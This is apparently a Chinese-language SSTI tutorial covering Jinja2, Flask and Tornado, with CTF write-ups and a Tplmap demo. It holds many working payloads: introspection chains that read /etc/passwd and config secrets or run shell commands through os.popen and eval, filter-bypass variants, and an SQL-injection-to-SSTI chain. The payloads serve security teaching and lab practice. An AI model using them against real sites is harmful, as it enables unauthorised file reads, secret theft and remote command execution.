SSTI 服务器端模板注入

什么是SSTI

文章目录

  • 什么是SSTI
    • 谈谈模板引擎
  • 基础知识
      • 几种常用于ssti的魔术方法
      • 一些常用的方法
  • 攻击流程
    • 文件读取
    • 读写文件
    • 命令执行
    • 常见绕过方式
        • 绕过中括号 “[ ]”
        • 过滤引号 “ ' ”
        • 过滤双下划线 “__”
        • 过滤`{{`
        • 过滤关键字
        • 字符串拼接绕过
    • 一些姿势
        • 1、config
        • 2、self
        • 3、""、[]、()等数据结构
        • 4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
  • SSTI 实战
      • 科来杯-easy_flask
      • QCTF-Confustion1
      • xctf——Web_python_template_injection
      • [护网杯 2018]easy_tornado
      • @[BJDCTF 2nd]fake google@
      • [WesternCTF2018]shrine
  • SSTI 神器——Tplmap
    • 简单使用

SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的 输入输出 交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后由后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎 (下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。

谈谈模板引擎

百度百科的定义:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现 界面 与 数据 分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

基础知识

很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。
面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。

几种常用于ssti的魔术方法

__class__用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 是类的一个内置属性,表示类的类型,返回** ;** 也是类的实例的属性,表示实例对象的类。

>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>

__bases__用来查看类的基类也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组。注意是直接父类!!!
使用语法:类名.bases

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)

>>> [].__class__.__bases__[0]
<type 'object'>

获取基类还能用还有__mro__,比如:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

>>> ().__class__.__mro__[1]            // 返回的是一个类元组,使用索引就能获取基类了
<class 'object'>

python 类有多继承特性,如果继承关系太复杂,很难看出会先调用那个属性或方法。为了方便且快速地看清继承关系和顺序,可以用__mro__方法来获取这个类的调用顺序,返回一个类元组,使用索引就能获取基类了。举例:

class X(object):pass       // X类继承于object
class Y(object):pass       // Y类继承于object
class A(X, Y):pass         // A类继承于X、Y
class B(Y):pass            // B类继承于Y
class C(A, B):pass         // C类继承于A、B
 
print C.__mro__
# (, ,, , , )
返回的是一个类元组!!!!!!!!!

__subclasses__()查看当前类的子类,即返回object的子类。

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

当然我们也可以直接用object.__subclasses__(),会得到和上面一样的结果。ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。

__import__() 函数用于动态加载类和函数 。如果一个模块经常变化就可以使用 __import__() 来动态载入,就是import。语法:__import__(name模块名)

__dict__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类__dict__里的

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法。大家可以去发现和搜集。

一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

攻击流程

文件读取

攻击流程,以文件读取为例子

几种常用于ssti的魔术方法

__class__ 用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
__bases__ 返回类的所有直接父类组成的元组,使用索引就能获取基类了。或用:().__class__.__base__
__mro__ 获取这个类的调用顺序,返回一个类元组,使用索引就能获取基类了
__subclasses__() 返回object的所有子类组成的列表
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()

找到重载过的__init__类 (在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>

发现WarningMessage和catch_warnings都可以:
在这里插入图片描述
查看其引用__builtins__

builtins 即是引用,其中包含了大量内置函数,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
详情见:
https://www.cnblogs.com/Ladylittleleaf/p/10240096.html
https://docs.python.org/zh-cn/3.7/library/builtins.html

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

读写文件

上面的方法读文件

方法1

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件

方法2

存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可


>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

命令执行

方法1 利用 eval 进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
// os.popen() 方法用于从一个命令打开一个管道。返回一个文件描述符号为fd的打开的文件对象。

python中os.popen, os.system()区别:
os.system的结果只是命令执行结果的返回值,执行成功则返回0;但用os.popen就可以读出执行的内容,popen返回的是file read的对象,对其进行读取使用read(),就可看到执行的输出。

方法2 利用 warnings.catch_warnings 进行命令执行

查看warnings.catch_warnings方法在模块中的位置

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看linecatch的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

查找os模块的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法3 利用 commands 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')

在这里插入图片描述

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

常见绕过方式

绕过中括号 “[ ]”

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。
__getitem__(self,key) 这个方法返回与指定键相关联的值。

过滤引号 “ ’ ”

request.args 是flask中的一个属性、为返回请求的参数、这里把path当作变量名、将后面的路径传值进来、进而绕过了引号的过滤

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

flask框架中提供有请求上下文request,其中有用于GET请求获取参数的args方法和用于POST请求获取参数的form方法。
关于浏览器的GET请求方式:浏览器的get请求方式会将参数以明文的方式放到请求地址栏中,如:http://127.0.0.1:5000/?name=hua 该请求中问好后面的name=hua即为参数,以键值对的形式,flask框架中的请求上下文request获取get方式的请求参数,即获取该键值对。当浏览器以post方式请求时,若请求地址栏也有参数也可以通过request.args.get(键) 方式获取。所以args只获取地址栏中参数 ,不分get请求方式还是post请求方式。

过滤双下划线 “__”

同样利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参.

GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{

使用{% if ... %}1{% endif %},例如

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls') %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

过滤关键字

base64编码绕过
__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

object类有__getattribute__属性,因此所有的类默认就有__getattribute__属性(所有类都继承自object),object的__getattribute__起什么用呢?它做的就是查找自定义类的属性,如果属性存在则返回属性的值,如果不存在则抛出AttributeError。

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}

一些姿势

1、config

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

2、self

{{self}}<TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

3、""、[]、()等数据结构

主要目的是配合__class__.__mro__[2]这样找到object类 {{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

4、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self被过滤了不能使用时要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。
例如:

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

SSTI 实战

科来杯-easy_flask

这个题考察点在sqli + ssti,应该算是ssti中比较简单的题,sql注入和ssti均未有任何过滤,但是用sql注入联合查询的返回结果来进行ssti注入攻击的模式是第一次见

刚开始添加用户和输入的数据
SSTI 服务器端模板注入_第1张图片
提交后,提示添加成功,然后在Search Comments中输入刚才的用户名,来提交查询,查询结果会出现在Show Comments中

在查询阶段(有select语句)存在注入
SSTI 服务器端模板注入_第2张图片
利用回显结果来进行ssti攻击

http://47.105.148.65:29003/?username=GetFlag' union select 1,'{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /flag").read()}}',3 --+

SSTI 服务器端模板注入_第3张图片

QCTF-Confustion1

查看题目界面
SSTI 服务器端模板注入_第4张图片
测试发现404页面存在ssti

http://123.207.149.64:23361/{{config}}

{{ }}为HTML模板,用于输出对象属性和函数返回值。
SSTI 服务器端模板注入_第5张图片
但是进行了一系列的黑名单,索性全部采用request.args传值的方式绕过
读取成功
SSTI 服务器端模板注入_第6张图片
右击查看源代码,发现flag存放位置
SSTI 服务器端模板注入_第7张图片
SSTI 服务器端模板注入_第8张图片

http://123.207.149.64:23361/{{''[request.args.a][request.values.b][2][request.values.c]()[40]('/opt/flag_1234qwerty.txt').read()}}?a=__class__&b=__mro__&c=__subclasses__

SSTI 服务器端模板注入_第9张图片

xctf——Web_python_template_injection

进入实验发现是python的模板注入
SSTI 服务器端模板注入_第10张图片
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

判断是否存在漏洞:
SSTI 服务器端模板注入_第11张图片
发现 75 被执行了,也就可以利用这漏洞了 (尝试{{7’7’}}回显 7777777,可知为jinja2模板)

通过 http://111.198.29.45:55462/{{''.__class__.__mro__[2].__subclasses__()}} ,查看所有模块(子类)
SSTI 服务器端模板注入_第12张图片
由于我们想要读取到flag文件里的信息,所以选用 os.popen。
执行ls命令查看目录:

http://124.126.19.106:33430/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

SSTI 服务器端模板注入_第13张图片
读取flag:

http://124.126.19.106:33430/{{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat fl4g").read()')}}

SSTI 服务器端模板注入_第14张图片

[护网杯 2018]easy_tornado

通过题目名字tornado猜测这个网站是使用python写的:

Tornado是一个Python web框架和异步网络库,起初由 FriendFeed 开发。通过使用非阻塞网络I/O, Tornado可以支撑上万级的连接,处理 长连接,WebSockets,和其他需要与每个用户保持长久连接的应用。
访问题目网站发现3个文件。可以访问其内容,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename))); flag文件名题目已给出 /fllllllllllag。

题目关键为如何获取cookie,在Bp抓包的情况下没有显示cookie,由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg。
SSTI 服务器端模板注入_第15张图片
依次尝试访问文件。
/flag.txt
SSTI 服务器端模板注入_第16张图片
/welcome.txt
SSTI 服务器端模板注入_第17张图片
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。

/hints.txt
SSTI 服务器端模板注入_第18张图片
尝试访问flag
在这里插入图片描述
在这里插入图片描述
发现报错,看它这个url猜测可能存在模板注入,测试是否存在模板注入
SSTI 服务器端模板注入_第19张图片
发现确实存在模板注入。
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings又指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

/error?msg={{handler.settings}}

在这里插入图片描述
需要注意,这里过滤了大多数奇怪的字符,并且跟以往的题目不同的是,这里不需要python的基类再寻找子函数,而是直接获取环境的变量。

又因为:
SSTI 服务器端模板注入_第20张图片
根据/hints.txt计算出filehash

filehash(fllllllllllllag) = md5(5bc1a536-8a0d-4034-a49c-d0bc38e8f068+md5(fllllllllllllag))

写个脚本:

import hashlib
def md5(s):
	md5 = hashlib.md5() 
	md5.update(s.encode("utf8")) 
	return md5.hexdigest()
def filehash():
	filename = '/fllllllllllllag'
	cookie_secret = '5bc1a536-8a0d-4034-a49c-d0bc38e8f068'
	print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
	filehash()

输出:d6b44b60b068dc75808c6a8aa8bd2331

构造payload:/file?filename=/fllllllllllllag&filehash=d6b44b60b068dc75808c6a8aa8bd2331即可显示/fllllllllllllag的内容
在这里插入图片描述

@[BJDCTF 2nd]fake google@

进入题目:
SSTI 服务器端模板注入_第21张图片
试了几下发现输入xxx,发现会照样输出
SSTI 服务器端模板注入_第22张图片
然后猜测会不会执行代码,发现可以执行

<script>alert(1);</script>

在这里插入图片描述
发现输出P3’s girlfirend is : xxxxx的页面注释有一句话,师傅把点告诉我们了:ssti注入

<!--ssssssti & a little trick -->

在这里插入图片描述
题解就很明显了,就是ssti。
payload:看一下根目录

?name={{''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

发现这里59不行了
在这里插入图片描述
我们就得一个一个找warnings.catch_warnings模块了;大部分都是先查找warnings.catch_warnings模块中的OS模块来执行命令。

().__class__.__bases__[0].__subclasses__() 
---查看可用模块

().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,不过题目环境不能用。手动数吧= = 169{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
没有什么过滤= =友好!

这样一个一个找太麻烦了,我们这里用一个更好地payload:

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
// 查看根目录

代码藏起来了,详情如下:

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}
{% endif %}{% endfor %}

在这里插入图片描述
payload:查看flag,得到flag

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

代码藏起来了,详情如下:

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
{% endif %}{% endfor %}

在这里插入图片描述

[WesternCTF2018]shrine

给了一段源码,格式化代码如下

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') \

@app.route('/')
def index():
    return open(__file__).read() \


@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

我们来分析一下这段代码
首先代码中定义了两个类

@app.route('/')
def index():
    return open(__file__).read()

这个类的作用很简单,当访问/路径时就用来阅读文件内容

@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

这个类通过flask模板返回一个值,这个值是经过处理的
执行这段代码的时候,会传入一个值给参数s,然后参数s进行替换,会将传进去的‘(’ 和 ‘)替换成’ ’ ,然后下面blacklist是黑名单,也就是说过滤了config,self关键字,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这里不行

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

这段代码把黑名单的东西遍历并设为空

app.config['FLAG'] = os.environ.pop('FLAG') \

可以发现存在模板注入,源码中有个名字为FLAG的config

这里还有个知识点就是python的一些内置函数,url_forget_flashed_messages,通过这些python的内置函数,我们可以读取config的一些信息。当config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app这样的全局变量。
SSTI 服务器端模板注入_第23张图片

/shrine/{{url_for.__globals__}}

SSTI 服务器端模板注入_第24张图片
然后我们观察一下有没有重要的有用的信息,然后发现了current_app,所以接下来我们查看这个里面的config

/shrine/{{url_for.__globals__['current_app'].config}}

SSTI 服务器端模板注入_第25张图片

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}/shrine/{{url_for.__globals__['current_app'].config.FLAG}}

直接得flag。

SSTI 神器——Tplmap

先给出下载地址:https://github.com/epinna/tplmap
需要环境:PyYaml

pip install PyYaml

简单使用

以上面复现的漏洞为例简单介绍一下用法:

root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea"                             //判断是否是注入点
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name                //说明可以注入,同时给出了详细信息
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok           //检验出这些利用方法对于目标环境是否可用
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:
                                                                  //可以利用下面这些参数进行进一步的操作
    --os-shell				Run shell on the target
    --os-cmd				Execute shell commands
    --bind-shell PORT			Connect to a shell bind to a target port
    --reverse-shell HOST PORT	Send a shell back to the attacker's port
    --upload LOCAL REMOTE	Upload files to the server
    --download REMOTE LOCAL	Download remote files

拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

//获取更多参数信息,要善于利用帮助信息来学习
python tplmap.py -h

你可能感兴趣的:(Web,安全,CTF-Web)